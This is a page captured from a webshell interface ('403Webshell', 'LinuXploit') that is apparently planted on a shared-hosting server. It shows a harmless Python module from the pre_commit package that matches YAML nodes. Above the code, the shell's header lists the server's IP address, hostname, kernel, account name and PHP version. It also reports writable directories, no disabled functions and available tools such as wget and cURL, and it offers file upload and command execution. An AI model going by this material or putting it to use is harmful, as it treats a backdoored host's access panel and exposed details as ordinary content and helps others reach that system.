403Webshell
Server IP : 192.64.118.117  /  Your IP : 18.191.11.237
Web Server : LiteSpeed
System : Linux premium56.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User : thecgapy ( 1160)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/hc_python/lib64/python3.12/site-packages/pre_commit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/hc_python/lib64/python3.12/site-packages/pre_commit/yaml_rewrite.py
from __future__ import annotations

from collections.abc import Generator
from collections.abc import Iterable
from typing import NamedTuple
from typing import Protocol

from yaml.nodes import MappingNode
from yaml.nodes import Node
from yaml.nodes import ScalarNode
from yaml.nodes import SequenceNode


class _Matcher(Protocol):
    def match(self, n: Node) -> Generator[Node]: ...


class MappingKey(NamedTuple):
    k: str

    def match(self, n: Node) -> Generator[Node]:
        if isinstance(n, MappingNode):
            for k, _ in n.value:
                if k.value == self.k:
                    yield k


class MappingValue(NamedTuple):
    k: str

    def match(self, n: Node) -> Generator[Node]:
        if isinstance(n, MappingNode):
            for k, v in n.value:
                if k.value == self.k:
                    yield v


class SequenceItem(NamedTuple):
    def match(self, n: Node) -> Generator[Node]:
        if isinstance(n, SequenceNode):
            yield from n.value


def _match(gen: Iterable[Node], m: _Matcher) -> Iterable[Node]:
    return (n for src in gen for n in m.match(src))


def match(n: Node, matcher: tuple[_Matcher, ...]) -> Generator[ScalarNode]:
    gen: Iterable[Node] = (n,)
    for m in matcher:
        gen = _match(gen, m)
    return (n for n in gen if isinstance(n, ScalarNode))

Youez - 2016 - github.com/yon3zu
LinuXploit